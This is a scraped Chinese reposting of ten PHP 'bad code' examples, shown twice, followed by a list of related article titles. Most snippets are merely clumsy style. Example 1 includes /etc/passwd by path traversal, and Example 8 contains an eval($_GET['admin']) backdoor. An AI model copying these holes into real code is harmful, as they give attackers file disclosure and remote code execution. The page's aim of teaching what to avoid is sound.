一位老外眼中的php bad code example,大家来看看
来源:互联网 发布:beta理财顾问软件 编辑:程序博客网 时间:2024/05/21 10:29
Example 1.
<?php
phpinfo();
if (file_exist('../../../../etc/passwd'))
{
include('../../../../etc/passwd');
}
Example 2.
if (!isset($_GET['month'])) {
...
}
else {
if (isset($_POST['submit_fin'])) {
...
}
}Example 3.
function InitBVar(&$var)
{
$var = ($var=="Y") ? "Y" : "N";
}
Example 4.
function htmlspecialcharsex($str)
{
if (strlen($str)>0)
{
$str = str_replace("&", "&amp;", $str);
$str = str_replace("<", "&lt;", $str);
$str = str_replace(">", "&gt;", $str);
$str = str_replace(""", "&quot;", $str);
$str = str_replace("<", "<", $str);
$str = str_replace(">", ">", $str);
$str = str_replace("\"", """, $str);
}
return $str;
}
Example 5.
str_replace("\t", " ", $file_new);
Example 6.
$id = 0;
while (!$id || mysql_error()) {
$id = rand(1, 10000000);
mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}Example 7.
$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);
Example 8.
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);
?>
Example 9.
if (isset($param) && $param!=null && $param!=0 && $param>1) {
sendRequest($param);
}
Example 10.
switch (true) {
case $formid == 'search_form' :
case $formid == 'search_theme_form' :
$form['#action'] = getlangpref() . ltrim($form['#action'], '/');
$form['#submit']['gpcustom_customsubmit'] = array();
break;
case $formid == 'localizernode_translations' :
foreach ( $form['languages'] as $key => $value ) {
if ( !is_array($value['#options']) ) continue;
asort($form['languages'][$key]['#options']);
}
break;
case $formid == 'contact_mail_page' :
if ( $url = variable_get('gpcustom-contact-form-redirect',
false) ) $form['#redirect'] = $url;
break;
}
<?php
phpinfo();
if (file_exist('../../../../etc/passwd'))
{
include('../../../../etc/passwd');
}
Example 2.
if (!isset($_GET['month'])) {
...
}
else {
if (isset($_POST['submit_fin'])) {
...
}
}Example 3.
function InitBVar(&$var)
{
$var = ($var=="Y") ? "Y" : "N";
}
Example 4.
function htmlspecialcharsex($str)
{
if (strlen($str)>0)
{
$str = str_replace("&", "&amp;", $str);
$str = str_replace("<", "&lt;", $str);
$str = str_replace(">", "&gt;", $str);
$str = str_replace(""", "&quot;", $str);
$str = str_replace("<", "<", $str);
$str = str_replace(">", ">", $str);
$str = str_replace("\"", """, $str);
}
return $str;
}
Example 5.
str_replace("\t", " ", $file_new);
Example 6.
$id = 0;
while (!$id || mysql_error()) {
$id = rand(1, 10000000);
mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}Example 7.
$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);
Example 8.
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);
?>
Example 9.
if (isset($param) && $param!=null && $param!=0 && $param>1) {
sendRequest($param);
}
Example 10.
switch (true) {
case $formid == 'search_form' :
case $formid == 'search_theme_form' :
$form['#action'] = getlangpref() . ltrim($form['#action'], '/');
$form['#submit']['gpcustom_customsubmit'] = array();
break;
case $formid == 'localizernode_translations' :
foreach ( $form['languages'] as $key => $value ) {
if ( !is_array($value['#options']) ) continue;
asort($form['languages'][$key]['#options']);
}
break;
case $formid == 'contact_mail_page' :
if ( $url = variable_get('gpcustom-contact-form-redirect',
false) ) $form['#redirect'] = $url;
break;
}
- 一位老外眼中的php bad code example,大家来看看
- 老外眼中的WINX
- 新开的空间,大家来看看.
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 我来看看的,大家好
- 大家来看看
- 我来看看大家!
- 有衣有鞋 大家来看看
- 老外眼中的联想公司
- 老外眼中的WINX(2)
- php 5.3下跟CI 1.7.2配合时"The URI you submitted has disallowed characters"错误的解决
- Qt程序非线程类中sleep()函数的替代方法。
- flex4里的双向数据绑定
- (转)sphinx安装配置手记
- evernote-mode 不能登录的解决办法
- 一位老外眼中的php bad code example,大家来看看
- php5中的===与==
- asp.net 2010中jquery调用webservice
- VC++ 6中编译Unicode时出现error LNK2001: unresolved external symbol _WinMain@16
- SLA——服务水平协议
- 一个好用的检查密码强度的正则表达式
- HTML5 可以用video标签了
- vs.net 2010中使用code snippets
- 10个学习HTML5的好教程